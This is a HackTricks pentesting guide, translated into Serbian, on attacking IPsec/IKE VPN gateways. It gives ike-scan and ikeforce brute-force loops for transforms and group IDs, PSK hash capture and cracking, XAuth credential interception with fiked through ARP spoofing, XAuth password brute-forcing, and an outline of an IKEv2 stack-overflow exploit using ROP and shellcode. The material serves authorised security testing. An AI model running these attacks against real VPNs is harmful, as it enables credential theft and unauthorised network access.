500/udp - Pentesting IPsec/IKE VPN
Reading time: 16 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
IPsec je široko prepoznat kao glavna tehnologija za osiguravanje komunikacija između mreža (LAN-to-LAN) i od udaljenih korisnika do mrežnog gateway-a (remote access), služeći kao osnova za enterprise VPN rešenja.
Uspostavljanje security association (SA) između dve tačke upravlja se pomoću IKE, koji radi pod okriljem ISAKMP, protokola dizajniranog za autentikaciju i razmenu ključeva. Ovaj proces se odvija u nekoliko faza:
- Faza 1: Siguran kanal se kreira između dva endpoint-a. To se postiže korišćenjem Pre-Shared Key (PSK) ili sertifikata, koristeći ili main mode, koji uključuje tri para poruka, ili aggressive mode.
- Faza 1.5: Iako nije obavezna, ova faza, poznata kao Extended Authentication Phase, proverava identitet korisnika koji pokušava da se poveže zahtevajući korisničko ime i lozinku.
- Faza 2: Ova faza je posvećena pregovaranju parametara za zaštitu podataka uz pomoć ESP i AH. Omogućava korišćenje algoritama različitih od onih u Fazi 1 kako bi se obezbedio Perfect Forward Secrecy (PFS), time povećavajući bezbednost.
Podrazumevani port: 500/udp
Takođe često izložen: 4500/udp (NAT Traversal)
Otkrijte servis koristeći nmap
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
Pronalaženje važeće transformacije
IPSec konfiguracija može biti podešena da prihvata samo jednu ili nekoliko transformacija. Transformacija je kombinacija vrednosti. Svaka transformacija sadrži niz atributa kao što su DES ili 3DES kao algoritam enkripcije, SHA ili MD5 kao algoritam integriteta, pre-shared key kao tip autentifikacije, Diffie-Hellman 1 ili 2 kao ključni algoritam distribucije i 28800 sekundi kao vreme trajanja.
Prvo, ono što morate da uradite je da pronađete važeću transformaciju, kako bi server prihvatio komunikaciju sa vama. Za to možete koristiti alat ike-scan. Po defaultu, Ike-scan radi u main mode i šalje paket ka gateway-u sa ISAKMP header-om i jednim proposal-om koji sadrži eight transforms inside it.
U zavisnosti od odgovora možete dobiti neke informacije o endpointu:
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
Kao što možete videti u prethodnom odgovoru, postoji polje nazvano AUTH sa vrednošću PSK. Ovo znači da je vpn konfigurisana korišćenjem preshared key (i to je zaista dobro za pentestera).
Vrednost poslednjeg reda je takođe veoma važna:
- 0 returned handshake; 0 returned notify: Ovo znači da je cilj not an IPsec gateway.
- 1 returned handshake; 0 returned notify: Ovo znači da je cilj konfigurisan za IPsec i spreman je da izvrši IKE negotiation, i jedan ili više transformacija koje ste predložili su prihvatljivi (validna transformacija će biti prikazana u izlazu).
- 0 returned handshake; 1 returned notify: VPN gateways odgovaraju sa notify porukom kada nijedna od transformacija nije prihvatljiva (iako neki gateways to ne rade, u tom slučaju treba pokušati daljom analizom i revidiranim predlogom).
Dakle, u ovom slučaju već imamo validnu transformaciju, ali ako ste u trećem slučaju, onda morate malo da brute-force da biste pronašli validnu transformaciju:
Pre svega, potrebno je da kreirate sve moguće transformacije:
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
A zatim brute-force svaki od njih koristeći ike-scan (ovo može potrajati nekoliko minuta):
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
Ako brute-force nije uspeo, možda server odgovara bez handshakes čak i na valid transforms. Tada možete pokušati isti brute-force, ali koristeći aggressive mode:
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
Nadamo se da će biti vraćena ispravna transformacija.
Možete pokušati same attack koristeći iker.py.
Takođe možete pokušati brute force transformacije pomoću ikeforce:
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
.png)
U DH Group: 14 = 2048-bit MODP and 15 = 3072-bit
2 = HMAC-SHA = SHA1 (u ovom slučaju). The --trans format is $Enc,$Hash,$Auth,$DH
Cisco preporučuje da se izbegava korišćenje DH grupa 1 i 2 jer nisu dovoljno jake. Stručnjaci veruju da države sa mnogo resursa mogu relativno lako probiti enkripciju podataka koji koriste ove slabe grupe. To se radi korišćenjem specijalne metode koja ih priprema za brzo razbijanje šifri. Iako postavljanje ove metode zahteva velike troškove, ona omogućava ovim moćnim državama da u realnom vremenu čitaju enkriptovane podatke ako koriste grupu koja nije jaka (npr. 1.024-bit ili manju).
Server fingerprinting
Zatim možete koristiti ike-scan da pokušate da discover the vendor uređaja. Alat pošalje početni predlog i prestane sa replay-ovanjem. Nakon toga, on će analyze razliku u time između primljenih messages sa servera i odgovarajućeg response pattern-a; pentester može uspešno fingerprint VPN gateway proizvođača. Štaviše, neki VPN serveri koriste opciono Vendor ID (VID) payload sa IKE.
Specify the valid transformation if needed (using --trans)
Ako IKE otkrije koji je proizvođač, ispišeće ga:
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
Ovo se takođe može postići pomoću nmap skripte ike-version
IKEv2-specifično: WatchGuard Vendor ID version fingerprinting
Neki IKEv2 daemoni uključuju nestandardne Vendor ID payload-e u IKE_SA_INIT odgovoru. WatchGuard Fireware OS enkodira verziju/build uređaja direktno unutar VID-a, omogućavajući single-packet, pre-auth fingerprinting.
- Transport: UDP/500 (i UDP/4500 za NAT-T)
- Paket: IKE_SA_INIT odgovor sadrži jedan ili više Vendor ID payload-a
- WatchGuard format: 32-byte hash praćen base64-om koji dekodira npr.
VN=12.11.3 BN=719894
Primer raw bytes iz WatchGuard VID payload-a (poslednjih 12 bajtova su base64):
00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807 ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243 Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d Tj03MTk4OTQ=
Brzo ekstrahovanje u shell kada imate base64 tail:
echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
# VN=12.11.3 BN=719894
Napomene
- Ovo nije deo nijednog IKEv2 RFC. Smatrajte to specifičnošću proizvođača za brzo određivanje izloženih/ranjivih Fireware OS verzija.
- Potrebno je samo izazvati IKE_SA_INIT odgovor; autentikacija nije potrebna.
Pronalaženje ispravnog ID-a (naziv grupe)
Da biste mogli da uhvatite hash, potrebna vam je validna transformacija koja podržava Aggressive mode i ispravan ID (naziv grupe). Verovatno nećete znati važeći naziv grupe, pa ćete morati da ga bruteforsirate.\ Za to bih vam preporučio 2 metode:
Bruteforceovanje ID-a pomoću ike-scan
Pre svega pokušajte da pošaljete zahtev sa lažnim ID-om kako biste pokušali da prikupite hash ("-P"):
ike-scan -P -M -A -n fakeID <IP>
Ako no hash is returned, onda će verovatno ova metoda brute forcing-a uspeti. Ako je vraćen neki hash, to znači da će biti poslat lažni hash za lažni ID, pa ova metoda neće biti pouzdana da brute-force ID. Na primer, može biti vraćen lažni hash (ovo se dešava u modernim verzijama):
.png)
Ali ako, kao što sam rekao, no hash is returned, trebalo bi da pokušate da brute-force uobičajena imena grupa koristeći ike-scan.
Ovaj skript će pokušati da brute-force moguće IDs i vratiće IDs za koje bude vraćen validan handshake (ovo će biti validno ime grupe).
Ako ste otkrili specifičnu transformaciju, dodajte je u ike-scan komandu. Ako ste otkrili više transformacija, slobodno dodajte novu petlju da ih sve isprobate (trebalo bi da ih sve probate dok jedna od njih ne bude radila ispravno).
Možete koristiti dictionary of ikeforce or the one in seclists of common group names to brute-force them:
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
Or use this dict (is a combination of the other 2 dicts without repetitions):
Bruteforcing ID with Iker
iker.py takođe koristi ike-scan za bruteforce mogućih imena grupa. Sledi sopstvenu metodu da pronađe validan ID zasnovan na izlazu ike-scan.
Bruteforcing ID with ikeforce
ikeforce.py je alat koji se može koristiti i za brute force ID-ova. Ovaj alat će pokušati da iskoristi različite ranjivosti koje mogu poslužiti da razlikuje validan od nevalidnog ID-a (mogu postojati false positives i false negatives, zato više volim da koristim ike-scan metodu kad je moguće).
By default ikeforce will send at the beginning some random ids to check the behaviour of the server and determinate the tactic to use.
- The first method is to brute-force the group names by searching for the information Dead Peer Detection DPD of Cisco systems (this info is only replayed by the server if the group name is correct).
- The second method available is to checks the number of responses sent to each try because sometimes more packets are sent when the correct id is used.
- The third method consist on searching for "INVALID-ID-INFORMATION" in response to incorrect ID.
- Finally, if the server does not replay anything to the checks, ikeforce will try to brute force the server and check if when the correct id is sent the server replay with some packet.\
Očigledno, cilj brute forcing-a ID-a je da se dobije PSK kada imate validan ID. Zatim, sa ID-om i PSK moraćete da brute force-ujete XAUTH (ako je omogućen).
Ako ste otkrili specifičnu transformaciju, dodajte je u ikeforce komandu. I ako ste otkrili više transformacija, slobodno dodajte novu petlju da ih sve probate (trebalo bi da probate sve dok jedna od njih ne proradi pravilno).
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
Sniffing ID
(Iz knjige Network Security Assessment: Know Your Network): Takođe je moguće dobiti važeća korisnička imena prisluškivanjem (sniffing) veze između VPN klijenta i servera, jer je prvi aggressive mode paket koji sadrži client ID poslat nešifrovano
.png)
Capturing & cracking the hash
Na kraju, ako ste pronašli valid transformation i group name i ako je aggressive mode dozvoljen, onda vrlo lako možete dohvatiti crackable hash:
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
Hash će biti sačuvan u hash.txt.
Možete koristiti psk-crack, john (koristeći ikescan2john.py) i hashcat da crack hash:
psk-crack -d <Wordlist_path> psk.txt
XAuth
Aggressive mode IKE u kombinaciji sa Pre-Shared Key (PSK) se obično koristi za group authentication. Ovu metodu dopunjuje XAuth (Extended Authentication), koja uvodi dodatni sloj user authentication. Takva autentifikacija obično oslanja na servise kao što su Microsoft Active Directory, RADIUS, ili slični sistemi.
Kod prelaska na IKEv2 primećuje se značajna promena: EAP (Extensible Authentication Protocol) se koristi umesto XAuth za autentifikaciju korisnika. Ova promena naglašava evoluciju u praksama autentifikacije unutar sigurnih komunikacionih protokola.
Lokalni MitM u mreži za presretanje kredencijala
Dakle, možete da uhvatite podatke za prijavu koristeći fiked i proverite da li postoji podrazumevano korisničko ime (morate preusmeriti IKE saobraćaj na fiked radi snifovanja, što se može uraditi pomoću ARP spoofing, more info). Fiked će delovati kao VPN endpoint i uhvatiće XAuth kredencijale:
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
Takođe, koristeći IPSec pokušajte da izvedete MitM napad i blokirate sav saobraćaj ka portu 500; ako IPSec tunel ne može biti uspostavljen, možda će saobraćaj ići nekriptovano.
Brute-forcing XAUTH username i password sa ikeforce
Za brute force nad XAUTH (kada znate važeće ime grupe id i psk) možete koristiti jedan username ili listu username-a i listu password-a:
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
Na ovaj način, ikeforce će pokušati da se poveže koristeći svaku kombinaciju username:password.
Ako ste pronašli jedan ili više validnih transformacija, jednostavno ih koristite kao u prethodnim koracima.
Autentifikacija sa IPSEC VPN
U Kali, VPNC se koristi za uspostavljanje IPsec tunela. profili moraju biti smešteni u direktorijumu /etc/vpnc/. Možete pokrenuti ove profile koristeći komandu vpnc.
Sledeće komande i konfiguracije ilustruju proces podešavanja VPN konekcije sa VPNC:
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
U ovoj postavci:
- Zamenite
[VPN_GATEWAY_IP]stvarnom IP adresom VPN gateway-a. - Zamenite
[VPN_CONNECTION_ID]identifikatorom VPN veze. - Zamenite
[VPN_GROUP_SECRET]grupnom tajnom VPN-a. - Zamenite
[VPN_USERNAME]i[VPN_PASSWORD]kredencijalima za autentifikaciju na VPN-u. [PID]označava ID procesa koji će biti dodeljen kadavpncpokrene.
Osigurajte da prilikom konfiguracije VPN-a koristite stvarne, bezbedne vrednosti umesto zamenljivih mesta (placeholders).
IKEv2 exploitation notes: pre-auth IDi/CERT processing bugs
Moderni VPN uređaji često otvaraju IKEv2 na UDP/500 (i UDP/4500 za NAT-T). Uobičajena površina napada pre autentifikacije je parsiranje Identification (IDi) i Certificate payload-ova tokom IKE_SA_AUTH.
Visok nivo toka eksploatacije kada postoji ranjiv IKEv2 parser:
- Pošaljite validan IKE_SA_INIT da pregovarate transformacije i završite Diffie–Hellman.
- Nastavite sa IKE_SA_AUTH koji nosi IDi koji aktivira bag (npr. preveliki Identification kopiran u fiksno-veliki stack buffer pre validacije sertifikata).
- Nastala korupcija memorije može omogućiti kontrolu sačuvanih registara i return-adrese.
- Sa uključenim NX, ali bez drugih mitigacija (nema PIE/canaries), izgradite ROP lanac da pozovete mprotect na stranici stack-a i zatim pivotirate izvršavanje na ubacjeni shellcode ili na rezidentni interpreter (npr.
/usr/bin/python3) ako/bin/shnije dostupan.
Primer podrazumevanih transformacija primećenih na nekim IKEv2 uređajima (WatchGuard Fireware OS 12.11.3):
- SHA2-256–AES(256-bit) with DH Group 14
- SHA1–AES(256-bit) with DH Group 5
- SHA1–AES(256-bit) with DH Group 2
- SHA1–3DES with DH Group 2
Praktični saveti
- Ciljajte oba porta UDP/500 i UDP/4500; NAT-T serveri mogu odgovarati samo na 4500.
- Povećajte veličinu receive buffera i timeout-e za UDP-based skenere da izbegnete gubitak paketa.
- Ako servis izlaže custom Vendor IDs (vidi odeljak iznad), koristite ih da brzo fingerprint-ujete ranjive verzije pre pokušaja bilo kakvog exploit saobraćaja.
Referentni materijal
- PSK cracking paper
- SecurityFocus Infocus
- Scanning a VPN Implementation
- Network Security Assessment 3rd Edition
Shodan
port:500 IKEport:4500 "UDP"udp port:500,4500 "WatchGuard"
Referencije
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks